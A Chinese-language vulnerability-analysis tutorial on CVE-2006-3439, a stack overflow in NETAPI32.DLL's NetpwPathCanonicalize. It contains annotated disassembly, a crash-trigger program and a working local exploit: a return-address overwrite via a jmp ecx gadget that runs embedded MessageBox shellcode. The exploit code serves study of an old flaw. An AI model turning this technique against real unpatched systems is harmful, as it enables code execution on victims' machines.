漏洞简述

发布者:极安御信
发布于:2022-08-25 19:30

作者:黑蛋


本次漏洞分析实例是编号CVE-2006-3439,他是系统库NETAPI32.DLLNetpwPathCanonicalize函数中出现的一个栈溢出漏洞,此函数主要对俩个字符串进行拼接,漏洞主要成因是函数内部对参数进行边界检查是使用了wcslen,而开辟栈的时候是按照ASCLL开辟,也就是我们可以传入双倍字节的参数,造成溢出,下面对此dll中漏洞函数进行分析:第一步,把dll拖入x86IDA中,等加载完成,在函数窗口搜索函数NetpwPathCanonicalize




第二步,找到具体触发漏洞函数(逐步跟进,看哪里触发异常):



第三步,进入这个call



第四步,分析函数,我们假定传入俩个字符串参数分别为(pathprefix)

; int __stdcall sub_7517FC68(wchar_t *Str, wchar_t *Source, wchar_t *, int, int)
.text:7517FC68 sub_7517FC68 proc near               ; CODE XREF: NetpwPathCanonicalize+74p
.text:7517FC68
.text:7517FC68 var_416         = word ptr -416h
.text:7517FC68 Dest            = word ptr -414h
.text:7517FC68 Str             = dword ptr  8
.text:7517FC68 Source          = dword ptr  0Ch
.text:7517FC68 arg_8           = dword ptr  10h
.text:7517FC68 arg_C           = dword ptr  14h
.text:7517FC68 arg_10          = dword ptr  18h
.text:7517FC68
.text:7517FC68                 push    ebp
.text:7517FC69                 mov     ebp, esp
.text:7517FC6B                 sub     esp, 414h       ; 开辟栈,0x414
.text:7517FC71                 push    ebx
.text:7517FC72                 push    esi
.text:7517FC73                 xor     esi, esi
.text:7517FC75                 push    edi
.text:7517FC76                 cmp     [ebp+Str], esi
.text:7517FC79                 mov    edi, ds:__imp_wcslen
.text:7517FC7F                 mov     ebx, 411h       ; 边界检查
.text:7517FC84                 jz      short loc_7517FCED
.text:7517FC86                 push    [ebp+Str]       ; prefix字符串
.text:7517FC89                 call    edi ; __imp_wcslen
.text:7517FC8B                 mov     esi, eax        ; prefix字符串的长度(unicode
.text:7517FC8D                 pop     ecx
.text:7517FC8E                 test    esi, esi
.text:7517FC90                 jz      short loc_7517FCF4
.text:7517FC92                 cmp     esi, ebx
.text:7517FC94                 ja      loc_7517FD3E
.text:7517FC9A                 push    [ebp+Str]       ; Source
.text:7517FC9D                 lea     eax, [ebp+Dest]
.text:7517FCA3                 push    eax            ; Dest
.text:7517FCA4                 call    ds:__imp_wcscpy
.text:7517FCAA                 mov     ax, [ebp+esi*2+var_416]
.text:7517FCB2                 pop     ecx
.text:7517FCB3                 cmp     ax, 5Ch
.text:7517FCB7                 pop    ecx
.text:7517FCB8                 jz      short loc_7517FCD5
.text:7517FCBA                 cmp     ax, 2Fh
.text:7517FCBE                 jz      short loc_7517FCD5
.text:7517FCC0                 lea     eax, [ebp+Dest]
.text:7517FCC6                 push    offset asc_751717B8 ; "\\"
.text:7517FCCB                 push    eax             ; Dest
.text:7517FCCC                 call    ds:__imp_wcscat
.text:7517FCD2                 pop     ecx
.text:7517FCD3                 inc    esi
.text:7517FCD4                 pop     ecx
.text:7517FCD5
.text:7517FCD5 loc_7517FCD5:                           ; CODE XREF: sub_7517FC68+50j
.text:7517FCD5                                         ; sub_7517FC68+56j
.text:7517FCD5                 mov    eax, [ebp+Source]
.text:7517FCD8                 mov     ax, [eax]
.text:7517FCDB                 cmp     ax, 5Ch
.text:7517FCDF                 jz      short loc_7517FCE7
.text:7517FCE1                 cmp     ax, 2Fh
.text:7517FCE5                 jnz    short loc_7517FCF4
.text:7517FCE7
.text:7517FCE7 loc_7517FCE7:                           ; CODE XREF: sub_7517FC68+77j
.text:7517FCE7                 add     [ebp+Source], 2
.text:7517FCEB                 jmp     short loc_7517FCF4
.text:7517FCED ; ---------------------------------------------------------------------------
.text:7517FCED
.text:7517FCED loc_7517FCED:                           ; CODE XREF: sub_7517FC68+1Cj
.text:7517FCED                 mov     [ebp+Dest], si
.text:7517FCF4
.text:7517FCF4 loc_7517FCF4:                           ; CODE XREF: sub_7517FC68+28j
.text:7517FCF4                                         ; sub_7517FC68+7Dj ...
.text:7517FCF4                 push    [ebp+Source]    ; path字符串
.text:7517FCF7                 call   edi ; __imp_wcslen
.text:7517FCF9                 add     eax, esi        ; path+\+prefix的长度
.text:7517FCFB                 pop     ecx
.text:7517FCFC                 cmp     eax, ebx        ; 第二次边界检查,ebx=0x411,俩次拼接但是这里指的是UNICODE的长度,也就是说我们在这里可以传入0x822字节东西
.text:7517FCFE                 ja      short loc_7517FD3E
.text:7517FD00                 push    [ebp+Source]    ; Source
.text:7517FD03                 lea     eax, [ebp+Dest]
.text:7517FD09                 push    eax             ; Dest
.text:7517FD0A                 call    ds:__imp_wcscat
.text:7517FD10                 pop     ecx
.text:7517FD11                 lea     eax, [ebp+Dest]
.text:7517FD17                 pop     ecx
.text:7517FD18                 push    eax
.text:7517FD19                 call    sub_7518AE95
.text:7517FD1E                 lea     eax, [ebp+Dest]
.text:7517FD24                 push    eax             ; Name
.text:7517FD25                 call    sub_7518AEB3
.text:7517FD2A                 test    eax, eax
.text:7517FD2C                 jnz     short loc_7517FD43
.text:7517FD2E                 lea     eax, [ebp+Dest]

第五步,我们得到结论可以传入0x822字节,但是栈中buffer只要0x411字节,意味着无论是path参数还是prefix参数,我们都可以传入双倍内容,随后发现在漏洞函数之前,有一个函数已经对prefix参数进行了长度检查,所以我们只能利用path参数:




二、环境配置


环境

配置

系统

WinXP

编译器

VC6++

调试器

x86IDAx86DBG

项目配置

win32+realse

文件

netapi32.dll

dll文件


三、漏洞分析

测试代码如下:我直接加载没打补丁的dll,我们主要是通过loadlibrary函数加载我们的dll,然后通过GetProcAddress函数获得NetpwPathCanonicalize函数地址,通过函数指针调用,传入俩个参数,一个全部覆盖为61,一个全部覆盖为62,结尾都是以00结尾,观察是哪里造成溢出:

#include
typedef void (*MYPROC)(LPTSTR);
int main()
{
    char path[0x320];
    char can_path[0x440];
    int maxbuf=0x440;
    char prefix[0x100];
    long pathtype=44;
    //load vulnerability netapi32.dll which we got from a WIN2K sp4 host 
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[ ] = "./netapi32.dll"; // care for the path
    char VulFunc[ ] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
    memset(path,0,sizeof(path));
    memset(path,'a',sizeof(path)-2);
    memset(prefix,0,sizeof(prefix));
    memset(prefix,'b',sizeof(prefix)-2);
    (Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);
    FreeLibrary(LibHandle);
}

生成realse,拖入x86dbgF9进入程序领空:



找到主函数入口:



进入主函数,找到我们函数指针调用的NetpwPathCanonicalize函数处:



运行到call edx处,查看edx的值,跳转到NetpwPathCanonicalize头部下断点:



运行到漏洞函数,再找到具体拷贝字符串函数,下断点:



进入目标函数:



F4运行到第二个wcscat函数后:



观察堆栈:
esp处:



发现我们栈中buffer首地址是12F294
ebp处:



我们发现path字符串倒数第4-8字节淹没返回值;运行到函数尾部:



我们发现ecx的值正好指向我们buffer首地址,所以我们只需要在淹没返回值那里找到一个jmp ecx或者call ecx的指令,在netapi32.dll中我找到一条指令751852F9




把此地址构造在淹没返回值的地方,程序流程就可以跳转到我们buffer中去,接下来构造shellcode,下面是新代码,我们吧path参数倒数4-8位置写成我们的跳转指令,即751852F9,再给prefix拷贝我们弹窗shellcode,作用是弹一个MessageBox的框,供我们观察:

#include
typedef void (*MYPROC)(LPTSTR);
char shellcode2[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
       "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
       "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
       "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
       "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
       "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
       "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
       "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
       "\x53\x68\x6F\x70\x20\x20\x68\x76\x75\x6C\x74\x8B\xC4\x53\x50\x50"
       "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90";
int main()
{  
    char path[0x320];
    char can_path[0x440];
    int maxbuf=0x440;
    char prefix[0x100];
    long pathtype=44;
    //load vulnerability netapi32.dll which we got from a WIN2K sp4 host 
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[ ] = "./netapi32.dll"; // care for the path
    char VulFunc[ ] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
    memset(path,0,sizeof(path));
    memset(path,0x90,sizeof(path)-2);
    memset(prefix,0,sizeof(prefix));
    memset(prefix,0x90,sizeof(prefix)-2);
    memcpy(prefix,shellcode2,176);
    //0x751852F9
    path[0x318] = 0xF9;
    path[0x319] = 0x52;
    path[0x31A] = 0x18;
    path[0x31B] = 0x75;
    //__asm int 3
    (Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);
    FreeLibrary(LibHandle);
}

观察运行结果,弹窗成功:



接下来我们继续吧程序拖入x86dbg中,按照前面流程到触发漏洞函数处:



F7进入,并运行到函数尾部:



观察堆栈情况:栈内buffer



返回值处:



一切如我们所料,继续运行,到了我们的shellcode处:



F9运行,弹框





声明:该文观点仅代表作者本人,转载请注明来自看雪